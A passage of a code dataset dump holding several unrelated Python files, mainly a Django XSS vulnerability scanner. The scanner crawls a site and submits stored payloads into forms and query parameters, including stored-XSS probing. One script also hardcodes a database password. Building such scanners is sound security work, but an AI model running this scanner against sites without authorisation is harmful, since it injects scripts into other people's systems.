0.51)\n\n ax.set_xticks(np.arange(0, 1.1, 0.25))\n ax.set_yticks(np.arange(0, 0.51, 0.1))\n\n ax.set_xlabel(\"$r$\")\n ax.set_ylabel(\"Mean distance\")\n\n ax.set_title(\"Mean distance between firms over $r$\")\n\n # add comment with file name\n plt.text(0.005, 0.005, file_name, transform=fig.transFigure, fontsize='x-small', color='0.5')\n\n # show random\n plt.text(0.005, 0.005, file_name, transform=fig.transFigure, fontsize='x-small', color='0.5')\n\n abc = ax.scatter(x, y, c=z, zorder=10, alpha=0.25)\n fig.colorbar(abc, label=\"Profits\")\n\n plt.tight_layout()\n\n if file_name:\n plt.savefig(\"{}/{}.pdf\".format(fig_folder, file_name))\n\n plt.show()\n\n\ndef main():\n\n pool = mlt.Pool()\n\n backups = []\n\n shared_parameters = model.SharedParameters(\n mode=model.Mode.h0_against_h0,\n n_simulations=200,\n t_max=250,\n horizon=1,\n n_positions=100,\n n_prices=50,\n unit_value=2,\n )\n\n pool_parameters = get_pool_parameters(shared_parameters)\n\n for bkp in tqdm.tqdm(\n pool.imap_unordered(run, pool_parameters),\n total=len(pool_parameters)):\n backups.append(bkp)\n\n pool_backup = model.PoolBackup(parameters=shared_parameters, backups=backups)\n\n file_name = pool_backup.save()\n\n print(\"Data have been saved using file name: '{}'.\".format(file_name))\n\n distance_over_fov(file_name=file_name, pool_backup=pool_backup, fig_folder=os.path.expanduser(\"~\\Desktop\"))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AurelienNioche/HotellingBathtub","sub_path":"brute_force/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6697987501","text":"# Using Command Line\n\nnum1 = float(input(\"Enter first number: \"))\nnum2 = float(input(\"Enter second number: \"))\n\n\noperation = input(\"Enter operation (+, -, *, /): \")\n\nif operation == \"+\":\n print(num1 + num2)\nelif operation == \"-\":\n print(num1 - num2)\nelif operation == \"*\":\n print(num1 * num2)\nelif operation == \"/\":\n print(num1 / num2)\nelse:\n print(\"Invalid operation\")\n\n# Using Tkinter\n\nimport tkinter as tk\n\nroot = tk.Tk()\n\n# Find Screen Size\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\n\n# Find Center Values\ncenterWidth = int(screen_width/3)\ncenterHeight = int(screen_height/4)\n\n# Center Screen and change size to 500x500\nroot.geometry(f\"500x500+{centerWidth}+{centerHeight}\")\n\n\nroot.title(\"Calculator\")\n\ntext = tk.Label(\n text = \"CALCULATOR\",\n background = \"orange\",\n foreground = \"white\",\n font=(\"Arial\",20)\n)\n\n\ntext.pack()\n\ninputNum1 = tk.Entry(root)\ninputNum1.pack()\n\ninputNum2 = tk.Entry(root)\ninputNum2.pack()\n\n\ndef output() :\n try:\n num1 = int(inputNum1.get())\n num2 = int(inputNum2.get())\n except ValueError:\n outPut.config(text=\"Your Data Must Be An Integer\")\n else:\n result = num1 + num2\n outPut.config(text=f\"Result is {result}\")\n\n\n\noutButton = tk.Button(text=\"Add\",command=output)\noutButton.pack()\n\noutPut = tk.Label(text='')\noutPut.pack()\n\nroot.mainloop()","repo_name":"ronnapatp/school","sub_path":"Calculator/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8407818662","text":"import os\nfrom os import path,system\nimport sys\n\n\ndef Createdata(filename):\n with open(filename,'w') as f:\n s = os.stat(filename)\n if s.st_size == 0:\n f.write(' '+ 'ADDRESS BOOK\\n' )\n f.write('FirstName:'+' '+'LastName:'+' '+'Address:'+' '+'PhoneNumber:'+' '+'Company:\\n')\n else:\n return\ndef Displaydata(filename):\n with open(filename,'r') as f:\n s = os.stat(filename)\n if s.st_size ==0:\n print(\"There is no data in the file\")\n else:\n for line in f:\n print(line)\n \n \n\n\ndef inputdata(filename):\n with open(filename,'a') as f:\n firstname = input(\"\\n\\n Enter the first name of the person you want to add: \")\n lastname = input('\\n\\n Enter the last name of the person you want to add: ')\n Address = input('\\n\\n Enter their address: ')\n phonenumber = input('\\n\\n Enter their phone number: ')\n company = input('\\n\\n Enter the name of their work/company name: ')\n data = (firstname+' '+lastname+' '+Address+' '+phonenumber+' '+company)\n f.write(data +'\\n')\n\ndef main():\n filename = input('Enter the name of the AddressBook:')\n while(1):\n if(path.exists(filename) ==False):\n print(\"There is no such file\\n\")\n ans = input(\"Do you want to make a new filename? (Y/N)\")\n if ans == \"N\":\n print(\"Error, no such file\")\n break\n else:\n Createdata(filename)\n system('cls')\n print(\"\\t\\t\\t\\t\\t====== AddressBook ======\\t\\t\")\n print(\"\\n\\n \") \n print(\"\\n \\t\\t\\t\\t\\t 1. Enter new information\")\n print(\"\\n \\t\\t\\t\\t\\t 2. Display your current entries\")\n print(\"\\n \\t\\t\\t\\t\\t 3. Exit Program\")\n print(\"\\n\\n\"); \n choice = int(input(\"\\t\\t\\t\\t\\t Select Your Choice :=> \"))\n system('cls')\n if(choice ==1):\n inputdata(filename)\n elif(choice == 2):\n Displaydata(filename)\n input()\n elif(choice==3):\n break\n\n print(\"Thanks for using my system\")\n \n\nmain()\n #if True:\n # Createdata(filename)\n # inputdata(filename)\n # else:\n # pass\n # inputdata(filename)\n","repo_name":"eco438/AddressBook","sub_path":"AddressBook.py","file_name":"AddressBook.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73644773492","text":"###\n# Custom command to use with click a config file\n# source: https://stackoverflow.com/questions/\n# 46358797/python-click-supply-arguments-and\n# -options-from-a-configuration-file\n###\nimport click\nimport yaml\n\n\ndef CommandWithConfigFile(config_file_param_name):\n\n class CustomCommandClass(click.Command):\n\n def invoke(self, ctx):\n config_file = ctx.params[config_file_param_name]\n if config_file is not None:\n with open(config_file) as f:\n config_data = yaml.load(f)\n if config_data is not None:\n assert type(config_data) is dict\n for param, value in config_data.items():\n if param in ctx.params.keys():\n ctx.params[param] = config_data[param]\n\n return super(CustomCommandClass, self).invoke(ctx)\n\n return CustomCommandClass\n","repo_name":"placaille/segmentation-transfer","sub_path":"src/utils/custom_click.py","file_name":"custom_click.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"4080090088","text":"import requests\nimport json\n\ndef url_join(*args):\n res = '/'.join(s.strip('/') for s in args)\n return res\n\ndef login_process(credentials):\n s = requests.Session()\n text = url_join(url_address, 'login.json')\n s.post(text, json={'session': credentials})\n print('login into'+text+'successful')\n return s\n\ndef get_object_from_id(wear_test_id):\n text = url_join(url_address, 'wear_tests', str(wear_test_id)+'.json?include_associations=true')\n r = requests.get(text)\n my_object = json.loads(json.loads(r.text)['object'])\n return my_object\n\ndef check_test_id_exist(wear_test_id):\n text = url_join(url_address, 'wear_tests', str(wear_test_id)+'.json')\n r = requests.get(text)\n if r.status_code == 200:\n return True\n elif r.status_code == 404:\n return False\n else:\n print('unknown status code.')\n\n\ndef check_scan_exists(filename):\n text = url_join(url_address, 'profilometer_scans', 'find_by_zip_name.json?zip_name='+filename)\n r = requests.get(text)\n if r.status_code == 200:\n return True\n elif r.status_code == 404:\n return False\n else:\n print('unknown status code.')\n\nurl_address = 'http://131.246.251.61:3000'\n\nif __name__ == '__main__':\n # my_object = get_object_from_id(552428)\n # test = check_test_id_exist(552428)\n test = check_scan_exists('00552428.0000.post.ccl.zip')\n\n print('finished')","repo_name":"jimbc/ring_and_disk_surface_profile_scanner","sub_path":"db_request.py","file_name":"db_request.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16304822160","text":"\"\"\"Module with defining scan classes.\"\"\"\n\nimport logging\nimport os\nfrom random import sample\nfrom string import ascii_lowercase, ascii_uppercase\nfrom typing import Any, Optional\nfrom urllib.parse import parse_qs, urlencode, urljoin, urlparse\n\nimport requests\nfrom aiohttp import ClientSession\nfrom asgiref.sync import sync_to_async\nfrom bs4 import BeautifulSoup, ResultSet, Tag\nfrom django.shortcuts import render\nfrom django.utils.timezone import now\nfrom requests import Response\nfrom selenium.webdriver import Chrome, ChromeOptions\nfrom selenium.webdriver.common.by import By\n\nfrom app_scanner.choices import ReviewScanTypes, ScanRiskLevelChoices, ScanStatusChoices, XSSVulnerabilityTypeChoices\nfrom app_scanner.models import Payload, Scan, ScanResult\nfrom djangoScannerXSS.settings import REVIEW_DIR, REVIEW_DIR_NAME\n\nlogger = logging.getLogger('scanner')\n\n\nclass BaseAdapter(object):\n \"\"\"Base adapter class.\"\"\"\n\n def write(self, content: Any) -> Any:\n \"\"\"Write data to destination.\n\n Args:\n content: data to be written.\n \"\"\"\n pass\n\n def read(self) -> Any:\n \"\"\"Read data from a data source.\"\"\"\n pass\n\n\nclass FileAdapter(BaseAdapter):\n \"\"\"Adapter class for i/o file operations.\"\"\"\n\n def __init__(self, file_path: str) -> None:\n \"\"\"Initialize FileAdapter object.\n\n Args:\n file_path: path to file for write and read operations.\n \"\"\"\n self.file_path = file_path\n\n def write(self, content: bytes) -> None:\n \"\"\"Write data to a file.\n\n Args:\n content: data to be written to the file.\n \"\"\"\n try:\n with open(self.file_path, 'wb') as file_obj:\n file_obj.write(content)\n except FileNotFoundError as file_error:\n error_message = f'FileNotFoundError. Create folders first. Error: {file_error}'\n logger.error(error_message)\n\n def read(self) -> Optional[str]:\n \"\"\"Read data from a file.\n\n Returns:\n Reading file content.\n \"\"\"\n try:\n with open(self.file_path, 'r') as file_obj:\n file_content = file_obj.read()\n except FileNotFoundError as file_error:\n error_message = f'FileNotFoundError. File with specified path not exists. Error: {file_error}'\n logger.error(error_message)\n return None\n return file_content\n\n\nclass BaseScan:\n \"\"\"Base class of XSS scanner.\"\"\"\n\n def __init__(\n self,\n target_url: str,\n xss_type: XSSVulnerabilityTypeChoices,\n user_id: int,\n is_one_page_scan: bool,\n ) -> None:\n \"\"\"Initialize base parameters.\n\n Args:\n target_url: target site address for xss crawling.\n xss_type: XSSVulnerabilityTypeChoices instance.\n user_id: id of user created the scan task.\n is_one_page_scan: boolean variable indicating to generate a sitemap.\n \"\"\"\n self.urls_count = 0\n self.internal_urls: set = set()\n self.review: dict = {}\n self.is_one_page_scan = is_one_page_scan\n self.scan = Scan.objects.create(\n target_url=target_url,\n xss_type=xss_type,\n user_id=user_id,\n status=ScanStatusChoices.started,\n )\n self.payloads = Payload.objects.all()\n\n @staticmethod\n def _is_valid_url(url: str) -> bool:\n \"\"\"Check whether the url is valid.\n\n Args:\n url: target site address for xss crawling.\n\n Returns:\n True if the url is valid and false if not valid.\n \"\"\"\n parsed_url = urlparse(url)\n return bool(parsed_url.netloc) and bool(parsed_url.scheme)\n\n @staticmethod\n def _get_form_info(form: Tag) -> dict[str, Any]:\n \"\"\"Get information about submitting a form.\n\n Args:\n form: bs object of form information about to get.\n\n Returns:\n Dictionary containing form information.\n \"\"\"\n fields = []\n for field_name in ('input', 'textarea'):\n for field in form.find_all(field_name):\n fields.append({\n 'name': field.attrs.get('name', ''),\n 'type': field.attrs.get('type', 'text'),\n })\n return {\n 'fields': fields,\n 'action': form.attrs.get('action', '').lower(),\n 'method': form.attrs.get('method', 'get').lower(),\n }\n\n @staticmethod\n def _is_vulnerable_query_params(url: str, payload: str) -> bool:\n \"\"\"Check vulnerability of url query parameters with specified payload.\n\n Args:\n url: target site address for xss crawling.\n payload: malicious code to send in a query parameter.\n\n Returns:\n True if the url is vulnerable and False if not.\n \"\"\"\n parsed_url = urlparse(url)\n query_params = parse_qs(parsed_url.query)\n if not query_params:\n return False\n modified_params = query_params.copy()\n for param_name in query_params:\n last_param_value, modified_params[param_name] = modified_params[param_name], payload\n modified_url = parsed_url._replace(query=urlencode(modified_params, doseq=True)).geturl()\n if payload in requests.get(modified_url).content.decode():\n return True\n modified_params[param_name] = last_param_value\n return False\n\n def _get_scan_risk_level(self) -> Optional[ScanRiskLevelChoices]:\n \"\"\"Get site risk level based on XSS scan results.\n\n Returns:\n ScanRiskLevelChoices instance.\n \"\"\"\n xss_count = sum(len(category_urls) for category_urls in self.review.values())\n if not self.internal_urls:\n self.scan.status = ScanStatusChoices.error\n self.scan.save(update_fields=('status', 'date_end'))\n return None\n severity = xss_count * 100 / len(self.internal_urls)\n if severity >= ScanRiskLevelChoices.high.value:\n risk_level = ScanRiskLevelChoices.high\n elif severity >= ScanRiskLevelChoices.medium.value:\n risk_level = ScanRiskLevelChoices.medium\n elif severity == ScanRiskLevelChoices.healthy.value:\n risk_level = ScanRiskLevelChoices.healthy\n else:\n risk_level = ScanRiskLevelChoices.low\n return risk_level\n\n def _create_review_file(self, risk_level: ScanRiskLevelChoices) -> None:\n \"\"\"Generate file with scan report.\n\n Args:\n risk_level: ScanRiskLevelChoices instance.\n \"\"\"\n review_filename = f'scan_{self.scan.id}.html'\n review_file_path = os.path.join(REVIEW_DIR, review_filename)\n self.scan.result = ScanResult.objects.create(\n risk_level=risk_level,\n review=self.review,\n review_file=os.path.join(REVIEW_DIR_NAME, review_filename),\n )\n html_output = render(None, 'app_scanner/review.html', {\n 'target_url': self.scan.target_url,\n 'xss_type': self.scan.get_xss_type_display(),\n 'review_data': self.review,\n 'risk_level': self.scan.result.get_risk_level_display(),\n })\n FileAdapter(file_path=review_file_path).write(html_output.content)\n\n def _prepare_review(self) -> None:\n \"\"\"Prepare results of XSS scan.\"\"\"\n for xss_type, url_set in self.review.items():\n self.review[xss_type] = list(url_set)\n self.scan.date_end = now()\n self.scan.status = ScanStatusChoices.completed\n risk_level = self._get_scan_risk_level()\n if not risk_level:\n return None\n self._create_review_file(risk_level)\n self.scan.save(update_fields=('status', 'date_end', 'result'))\n\n def _submit_form(self, form_info: dict, payload: str) -> Response:\n \"\"\"Submit form with specified payload.\n\n Args:\n form_info: dictionary containing form information.\n payload: malicious code to send in form body.\n\n Response:\n Requests Response object.\n \"\"\"\n scan_url = urljoin(self.scan.target_url, form_info['action'])\n data = {}\n for form_field in form_info['fields']:\n if form_field['type'] in ('text', 'search') and form_field['name']:\n data[form_field['name']] = payload\n if form_info['method'] == 'post':\n return requests.post(scan_url, data=data)\n return requests.get(scan_url, params=data)\n\n\nclass AsyncScan(BaseScan):\n \"\"\"XSS scan class using async methods.\"\"\"\n\n @staticmethod\n async def _make_request(url: str) -> str:\n async with ClientSession() as session:\n async with session.get(url) as response:\n content = await response.read()\n return content.decode('utf-8')\n\n @sync_to_async\n def _get_payloads(self) -> list[dict]:\n return [{'body': payload.body, 'recommendation': payload.recommendation} for payload in self.payloads]\n\n @sync_to_async\n def _create_review_file(self, risk_level: ScanRiskLevelChoices) -> None:\n super()._create_review_file(risk_level)\n\n @sync_to_async\n def _prepare_review(self) -> None:\n for xss_type, url_set in self.review.items():\n self.review[xss_type] = list(url_set)\n self.scan.date_end = now()\n self.scan.status = ScanStatusChoices.completed\n\n @sync_to_async\n def _update_scan_result(self) -> None:\n self.scan.save(update_fields=('status', 'date_end', 'result'))\n\n async def run(self) -> None:\n \"\"\"Run AsyncScan class scanner.\"\"\"\n if self.scan.xss_type == XSSVulnerabilityTypeChoices.full:\n await self._full_scan()\n elif self.scan.xss_type == XSSVulnerabilityTypeChoices.reflected:\n await self._scan_reflected_xss()\n elif self.scan.xss_type == XSSVulnerabilityTypeChoices.stored:\n await self._scan_stored_xss()\n else:\n await self._scan_dom_based_xss()\n\n async def _create_sitemap(self, url: str, max_urls: int = 150) -> None:\n self.urls_count += 1\n if self.urls_count > max_urls:\n return\n links = await self._get_links(url)\n for link in links:\n await self._create_sitemap(link, max_urls=max_urls)\n\n async def _get_links(self, url: str) -> set[str]:\n urls = set()\n domain_name = urlparse(url).netloc\n page_content = await self._make_request(url)\n soup = BeautifulSoup(page_content, 'html.parser')\n hrefs = soup.find_all('a', href=True)\n for href in hrefs:\n parsed_href = urlparse(urljoin(url, href.text))\n href = parsed_href.geturl()\n if (\n domain_name not in href or\n not self._is_valid_url(href) or\n href in self.internal_urls or\n 'http' not in parsed_href.scheme\n ):\n continue\n urls.add(href)\n self.internal_urls.add(href)\n return urls\n\n async def _get_page_forms(self, url: str) -> ResultSet:\n page_content = await self._make_request(url)\n page_soup = BeautifulSoup(page_content, 'html.parser')\n page_forms = page_soup.find_all('form')\n return page_forms\n\n async def _scan_reflected_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started async Reflected XSS scanning of {self.scan.target_url}')\n vulnerable_urls = []\n if not self.internal_urls:\n await self._create_sitemap(self.scan.target_url)\n for url in self.internal_urls:\n scan_result = await self._scan_page_reflected_xss(url)\n if scan_result:\n vulnerable_urls.append(scan_result)\n self.review.update({ReviewScanTypes.reflected: vulnerable_urls})\n if not is_single_scan_type:\n return\n await self._prepare_review()\n await self._create_review_file(self._get_scan_risk_level())\n await self._update_scan_result()\n\n async def _scan_page_reflected_xss(self, url: str) -> Optional[dict]:\n page_forms = await self._get_page_forms(url)\n payloads = await self._get_payloads()\n for script in payloads:\n for form in page_forms:\n form_info = self._get_form_info(form)\n submit_form_response = self._submit_form(form_info, script['body']).content.decode()\n if script['body'] in submit_form_response or self._is_vulnerable_query_params(url, script['body']):\n return {'url': url, 'script': script['body'], 'recommendation': script['recommendation']}\n return None\n\n async def _scan_stored_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started async Stored XSS scanning of {self.scan.target_url}')\n vulnerable_urls = []\n if not self.internal_urls:\n await self._create_sitemap(self.scan.target_url)\n for url in self.internal_urls:\n scan_result = await self._scan_page_stored_xss(url)\n if scan_result:\n vulnerable_urls.append(scan_result)\n self.review.update({ReviewScanTypes.stored: vulnerable_urls})\n if not is_single_scan_type:\n return\n await self._prepare_review()\n await self._create_review_file(self._get_scan_risk_level())\n await self._update_scan_result()\n\n async def _test_stored_xss(self, page_forms: ResultSet) -> set:\n char_set = ascii_lowercase + ascii_uppercase\n payload_length = 20\n test_payload = ''.join(sample(char_set, payload_length))\n payload_exist_urls = set()\n for form in page_forms:\n form_info = self._get_form_info(form)\n self._submit_form(form_info, test_payload).content.decode()\n for url in self.internal_urls:\n page_content = await self._make_request(url)\n if test_payload in page_content:\n payload_exist_urls.add(url)\n return payload_exist_urls\n\n async def _scan_page_stored_xss(self, url: str) -> Optional[dict]:\n page_forms = await self._get_page_forms(url)\n payload_exist_urls = await self._test_stored_xss(page_forms=page_forms)\n payloads = await self._get_payloads()\n for script in payloads:\n for form in page_forms:\n form_info = self._get_form_info(form)\n self._submit_form(form_info, script['body']).content.decode()\n scan_result = await self._check_potential_urls(url, payload_exist_urls, script)\n if scan_result:\n return scan_result\n return None\n\n async def _check_potential_urls(self, url: str, payload_exist_urls: set, script: dict) -> Optional[dict]:\n for potential_url in payload_exist_urls:\n page_content = await self._make_request(potential_url)\n if script['body'] in page_content:\n return {'url': url, 'script': script['body'], 'recommendation': script['recommendation']}\n return None\n\n async def _scan_dom_based_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started async DOM-Based XSS scanning of {self.scan.target_url}')\n vulnerable_urls = []\n if not self.internal_urls:\n await self._create_sitemap(self.scan.target_url)\n payloads = await self._get_payloads()\n for url in self.internal_urls:\n for script in payloads:\n target_url = f'{url}#{script[\"body\"]}'\n page_content = await self._make_request(target_url)\n if script['body'] in page_content:\n vulnerable_urls.append({\n 'url': url,\n 'script': script['body'],\n 'recommendation': script['recommendation'],\n })\n break\n self.review.update({ReviewScanTypes.dom_based: vulnerable_urls})\n if not is_single_scan_type:\n return\n await self._prepare_review()\n await self._create_review_file(self._get_scan_risk_level())\n await self._update_scan_result()\n\n async def _full_scan(self) -> None:\n logger.info(f'Started async Full XSS scanning of {self.scan.target_url}')\n await self._scan_reflected_xss(is_single_scan_type=False)\n await self._scan_stored_xss(is_single_scan_type=False)\n await self._scan_dom_based_xss(is_single_scan_type=False)\n await self._prepare_review()\n await self._create_review_file(self._get_scan_risk_level())\n await self._update_scan_result()\n\n\nclass SeleniumScan(BaseScan):\n \"\"\"XSS scan class using Selenium.\"\"\"\n\n def __init__(\n self,\n target_url: str,\n xss_type: XSSVulnerabilityTypeChoices,\n user_id: int,\n is_one_page_scan: bool\n ) -> None:\n \"\"\"Initialize base parameters of SeleniumScan instance.\n\n Args:\n target_url: target site address for xss crawling.\n xss_type: XSSVulnerabilityTypeChoices instance.\n user_id: id of user created the scan task.\n is_one_page_scan: boolean variable indicating to generate a sitemap.\n \"\"\"\n chrome_options = ChromeOptions()\n self.driver = Chrome(options=chrome_options)\n super().__init__(target_url, xss_type, user_id, is_one_page_scan)\n\n def run(self) -> None:\n \"\"\"Run SeleniumScan class scanner.\"\"\"\n if self.scan.xss_type == XSSVulnerabilityTypeChoices.full:\n self._full_scan()\n elif self.scan.xss_type == XSSVulnerabilityTypeChoices.reflected:\n self._scan_reflected_xss()\n elif self.scan.xss_type == XSSVulnerabilityTypeChoices.stored:\n self._scan_stored_xss()\n else:\n self._scan_dom_based_xss()\n\n def _get_links(self, url: str) -> set[str]:\n urls = set()\n domain_name = urlparse(url).netloc\n self.driver.get(url)\n a_tags = self.driver.find_elements(By.CSS_SELECTOR, 'a')\n for a_tag in a_tags:\n href = a_tag.get_attribute('href')\n if not href:\n continue\n parsed_href = urlparse(urljoin(url, href))\n href = parsed_href.geturl()\n if (\n domain_name not in href or\n not self._is_valid_url(href) or\n href in self.internal_urls or\n 'http' not in parsed_href.scheme\n ):\n continue\n urls.add(href)\n self.internal_urls.add(href)\n return urls\n\n def _create_sitemap(self, url: str, max_urls: int = 150) -> None:\n self.urls_count += 1\n if self.urls_count > max_urls:\n return\n links = self._get_links(url)\n for link in links:\n self._create_sitemap(link, max_urls=max_urls)\n\n def _get_page_forms(self, url: str) -> ResultSet:\n self.driver.get(url)\n page_content = BeautifulSoup(self.driver.page_source, 'html.parser')\n page_forms = page_content.find_all('form')\n return page_forms\n\n def _scan_reflected_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started Reflected XSS scanning of {self.scan.target_url} by Selenium')\n vulnerable_urls = []\n if not self.internal_urls:\n self._create_sitemap(self.scan.target_url)\n for url in self.internal_urls:\n scan_result = self._scan_page_reflected_xss(url)\n if scan_result:\n vulnerable_urls.append(scan_result)\n self.review.update({ReviewScanTypes.reflected: vulnerable_urls})\n if not is_single_scan_type:\n return\n self.driver.quit()\n self._prepare_review()\n\n def _scan_page_reflected_xss(self, url: str) -> Optional[dict]:\n page_forms = self._get_page_forms(url)\n for script in self.payloads:\n for form in page_forms:\n form_info = self._get_form_info(form)\n submit_form_response = self._submit_form(form_info, script.body).content.decode()\n if script.body in submit_form_response or self._is_vulnerable_query_params(url, script.body):\n return {'url': url, 'script': script.body, 'recommendation': script.recommendation}\n return None\n\n def _scan_stored_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started Stored XSS scanning of {self.scan.target_url} by Selenium')\n vulnerable_urls = []\n if not self.internal_urls:\n self._create_sitemap(self.scan.target_url)\n for url in self.internal_urls:\n scan_result = self._scan_page_stored_xss(url)\n if scan_result:\n vulnerable_urls.append(scan_result)\n self.review.update({ReviewScanTypes.stored: vulnerable_urls})\n if not is_single_scan_type:\n return\n self.driver.quit()\n self._prepare_review()\n\n def _test_stored_xss(self, page_forms: ResultSet) -> set:\n char_set = ascii_lowercase + ascii_uppercase\n payload_length = 20\n test_payload = ''.join(sample(char_set, payload_length))\n payload_exist_urls = set()\n for form in page_forms:\n form_info = self._get_form_info(form)\n self._submit_form(form_info, test_payload).content.decode()\n for url in self.internal_urls:\n self.driver.get(url)\n if test_payload in self.driver.page_source:\n payload_exist_urls.add(url)\n return payload_exist_urls\n\n def _scan_page_stored_xss(self, url: str) -> Optional[dict]:\n page_forms = self._get_page_forms(url)\n payload_exist_urls = self._test_stored_xss(page_forms=page_forms)\n for script in self.payloads:\n for form in page_forms:\n form_info = self._get_form_info(form)\n self._submit_form(form_info, script.body).content.decode()\n scan_result = self._check_potential_urls(url, payload_exist_urls, script)\n if scan_result:\n return scan_result\n return None\n\n def _check_potential_urls(self, url: str, payload_exist_urls: set, script: Payload) -> Optional[dict]:\n for potential_url in payload_exist_urls:\n self.driver.get(potential_url)\n if script.body in self.driver.page_source:\n return {'url': url, 'script': script.body, 'recommendation': script.recommendation}\n return None\n\n def _scan_dom_based_xss(self, is_single_scan_type: Optional[bool] = True) -> None:\n logger.info(f'Started DOM-Based XSS scanning of {self.scan.target_url} by Selenium')\n vulnerable_urls = []\n if not self.internal_urls:\n self._create_sitemap(self.scan.target_url)\n for url in self.internal_urls:\n for script in self.payloads:\n target_url = f'{url}#{script.body}'\n self.driver.get(target_url)\n if script.body in self.driver.page_source:\n vulnerable_urls.append({'url': url, 'script': script.body, 'recommendation': script.recommendation})\n break\n self.review.update({ReviewScanTypes.dom_based: vulnerable_urls})\n if not is_single_scan_type:\n return\n self.driver.quit()\n self._prepare_review()\n\n def _full_scan(self) -> None:\n logger.info(f'Started Full XSS scanning of {self.scan.target_url} by Selenium')\n self._scan_reflected_xss(is_single_scan_type=False)\n self._scan_stored_xss(is_single_scan_type=False)\n self._scan_dom_based_xss(is_single_scan_type=False)\n self.driver.quit()\n self._prepare_review()\n","repo_name":"alvinist27/djangoScannerXSS","sub_path":"app_scanner/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":23932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40895696571","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 22 14:23:54 2019\n\n@author: Asus\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 22 13:13:14 2019\n\n@author: Asus\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 21 09:06:49 2019\n\n@author: Asus\n\"\"\"\n\nfrom nltk.corpus import words as nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import wordnet\nimport re,string\n\nimport cx_Oracle\n\ndsn_tns = cx_Oracle.makedsn('LAPTOP-IPLREP3V', '1521', service_name='XE')\nconn = cx_Oracle.connect(user=r'system', password='admin', dsn=dsn_tns, encoding = \"UTF-8\", nencoding = \"UTF-8\")\ncur = conn.cursor()\n \n\n \ndef añadirDato(palabra1, palabra2, valor):\n cur.execute(\"insert into corpus_0_14 values (:p1, :p2, :v)\",{'p1': (palabra1),'p2': (palabra2), 'v': (valor)})\n \n\n\n \ndef fusionar():\n cur = conn.cursor()\n cur.execute('SELECT palabra1, palabra2, valor from corpus14')\n cont = 0\n print('I')\n for row in cur: \n añadirDato(row[0], row[1], row[2])\n if(cont % 100000 == 0):\n print(cont)\n \n cont=cont+1 \n \n conn.commit()\n print('F')\n \n \n \n \nfusionar()\n\n#detectar2()\n\n\n \n \n \n","repo_name":"josezm/python-nlp-vectorspacemodel","sub_path":"fusion tablas.py","file_name":"fusion tablas.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34457931994","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport re\nimport subprocess\nimport sys\nimport urllib2\n\nfrom telebot import types\n\nfrom initialize import log, bot, miners_settings, settings, q\nfrom models import Users\n\nprevious_hasrates = {}\n\n\ndef implode_new_lines(text):\n return re.sub(r'[\\r\\n]+', r'\\\\n', text, re.UNICODE)\n\n\ndef bot_send_message(message_chat_id, message, reply_markup=None):\n if reply_markup is None:\n reply_markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n reply_markup.add(\n types.KeyboardButton('/info'),\n types.KeyboardButton('/reboot'),\n types.KeyboardButton('/pause'),\n types.KeyboardButton('/donate'),\n )\n log.debug('sended message to {} chat: '.format(message_chat_id, implode_new_lines(message)))\n bot.send_message(message_chat_id, message, reply_markup=reply_markup)\n\n\ndef send_messages_to_all_active(message, reply_markup=None):\n log.debug('sended message to all active: '.format(implode_new_lines(message)))\n for user in Users.get_active():\n q.put((user, message))\n\n\ndef run_subprocess(proc_path):\n subprocess.call([settings['subprocess_windows_crutch'], proc_path])\n\n\ndef get_miners_info(do_active=False):\n try:\n answer = ''\n new_hashrates = {}\n for miner in miners_settings:\n try:\n response = urllib2.urlopen('http://{}:{}/'.format(miners_settings[miner]['ip'], miners_settings[miner]['port']), timeout=miners_settings[miner]['timeout'])\n except Exception:\n status = 'Майнер \\'{}\\' не запущен или завис :(\\n'.format(miner)\n if not do_active:\n answer += status\n continue\n else:\n status += 'Запускаем \\'miner_freezes_or_not_runnig\\'-скрипт'\n log.warn(implode_new_lines(status))\n run_subprocess(miners_settings[miner]['miner_freezes_or_not_runnig'])\n return status\n\n html = response.read()\n param_vals = re.search(miners_settings[miner]['regex'], html)\n\n format_dict = {}\n for index, param_name in enumerate(miners_settings[miner]['parsed_params']):\n format_dict[param_name] = param_vals.group(index + 1)\n\n answer += miners_settings[miner]['prefix_msg_format'].format(**format_dict)\n\n gpu_order_no = 0\n for gpu_no in range(0, len(miners_settings[miner]['di'])):\n gpu_num = int(miners_settings[miner]['di'][gpu_no])\n format_dict['gpu_num'] = gpu_num\n hashrate_primary = format_dict['hashrates_gpus_primary'].split(';')[gpu_order_no]\n if hashrate_primary.isdigit():\n format_dict['hashrate_primary'] = float(hashrate_primary) / miners_settings[miner]['divider']['primary']\n if miner not in new_hashrates:\n new_hashrates[miner] = []\n 